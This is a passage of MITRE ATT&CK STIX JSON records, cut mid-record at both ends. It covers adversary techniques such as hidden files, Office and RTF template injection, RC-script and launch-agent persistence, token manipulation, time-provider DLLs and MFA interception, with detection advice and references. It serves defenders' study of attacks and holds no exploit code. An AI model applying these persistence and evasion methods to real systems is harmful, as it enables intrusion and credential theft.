rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1158", "url": "https://attack.mitre.org/techniques/T1158"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "source_name": "Antiquated Mac Malware"}, {"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", "source_name": "WireLurker"}], "modified": "2020-03-13T21:01:22.966Z", "name": "Hidden Files and Directories", "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Michael Raggi @aRtAGGI", "Brian Wiltse @evalstrings", "Patrick Campbell, @pjcampbe11"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", "type": "attack-pattern", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1221", "url": "https://attack.mitre.org/techniques/T1221"}, {"url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.", "source_name": "Microsoft Open XML July 2017"}, {"source_name": "SANS Brian Wiltse Template Injection", "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780", "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019."}, {"url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html", "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.", "source_name": "Redxorblue Remote Template Injection"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.", "source_name": "MalwareBytes Template Injection OCT 2017"}, {"source_name": "Proofpoint RTF Injection", "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread", "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021."}, {"source_name": "Ciberseguridad Decoding malicious RTF files", "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/", "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021."}, {"url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", "source_name": "Anomali Template Injection MAR 2018"}, {"url": "https://blog.talosintelligence.com/2017/07/template-injection.html", "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.", "source_name": "Talos Template Injection July 2017"}, {"url": "https://github.com/ryhanson/phishery", "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.", "source_name": "ryhanson phishery SEPT 2016"}], "modified": "2022-01-12T18:16:56.176Z", "name": "Template Injection", "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the <code>&#42;\\template</code> control word has been modified to retrieve a URL resource, such as <code>&#42;\\template http</code> or <code>&#42;\\template \\u-</code>.", "x_mitre_version": "1.3", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Process: Process Creation", "Network Traffic: Network Traffic Content"], "x_mitre_defense_bypassed": ["Static File Analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-16T12:22:29.150Z", "name": "RC Scripts", "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Linux", "Network"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["File: File Creation", "Process: Process Creation", "File: File Modification", "Command: Command Execution"], "x_mitre_permissions_required": ["root"], "type": "attack-pattern", "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "created": "2020-01-15T16:25:22.260Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1037/004", "external_id": "T1037.004"}, {"source_name": "Apple Developer Doco Archive Launchd", "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"}, {"source_name": "Startup Items", "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"}, {"source_name": "Ubuntu Manpage systemd rc", "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and        /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.", "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"}, {"source_name": "IranThreats Kittens Dec 2017", "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.", "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"}, {"source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}, {"source_name": "intezer-kaiji-malware", "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"}, {"source_name": "Intezer HiddenWasp Map 2019", "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:47.762Z", "name": "Access Token Manipulation", "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Tom Ueltschi @c_APT_ure", "Travis Smith, Tripwire", "Robby Winchester, @robwinchester3", "Jared Atkinson, @jaredcatkinson"], "x_mitre_deprecated": false, "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution", "User Account: User Account Metadata", "Process: Process Metadata", "Process: Process Creation", "Active Directory: Active Directory Object Modification"], "x_mitre_defense_bypassed": ["Windows User Account Control", "Heuristic Detection", "System Access Controls", "Host Forensic Analysis"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_permissions_required": ["User", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134", "external_id": "T1134"}, {"source_name": "BlackHat Atkinson Winchester Token Manipulation", "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"}, {"source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}, {"source_name": "Microsoft LogonUser", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"}, {"source_name": "Microsoft DuplicateTokenEx", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"}, {"source_name": "Microsoft ImpersonateLoggedOnUser", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"}, {"source_name": "Pentestlab Token Manipulation", "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.", "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Scott Lundgren, @5twenty9, Carbon Black"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1209", "url": "https://attack.mitre.org/techniques/T1209"}, {"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", "source_name": "Microsoft W32Time Feb 2018"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", "source_name": "Microsoft TimeProvider"}, {"url": "https://github.com/scottlundgren/w32time", "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", "source_name": "Github W32Time Oct 2017"}, {"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", "source_name": "Microsoft W32Time May 2017"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-01-24T16:48:50.715Z", "name": "Time Providers", "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-04-14T23:26:24.262Z", "name": "Multi-Factor Authentication Interception", "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["John Lambert, Microsoft Threat Intelligence Center"], "x_mitre_deprecated": false, "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Driver: Driver Load", "Process: OS API Execution", "Windows Registry: Windows Registry Key Modification"], "type": "attack-pattern", "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", "created": "2017-05-31T21:31:23.195Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1111", "external_id": "T1111"}, {"source_name": "GCN RSA June 2011", "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.", "url": "https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"}, {"source_name": "Mandiant M Trends 2011", "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.", "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"}, {"source_name": "Okta Scatter Swine 2022", "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", "url": "https://sec.okta.com/scatterswine"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1159", "url": "https://attack.mitre.org/techniques/T1159"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "source_name": "AppleDocs Launch Agent Daemons"}, {"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "source_name": "OSX Keydnap malware"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "source_name": "Antiquated Mac Malware"}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", "source_name": "OSX.Dok Malware"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "source_name": "Sofacy Komplex Trojan"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}, {"url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "source_name": "OSX Malware Detection"}, {"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", "source_name": "OceanLotus for OS X"}], "modified": "2020-01-17T16:52:35.818Z", "name": "Launch Agent", "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:48.113Z", "name": "Software Packing", "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", 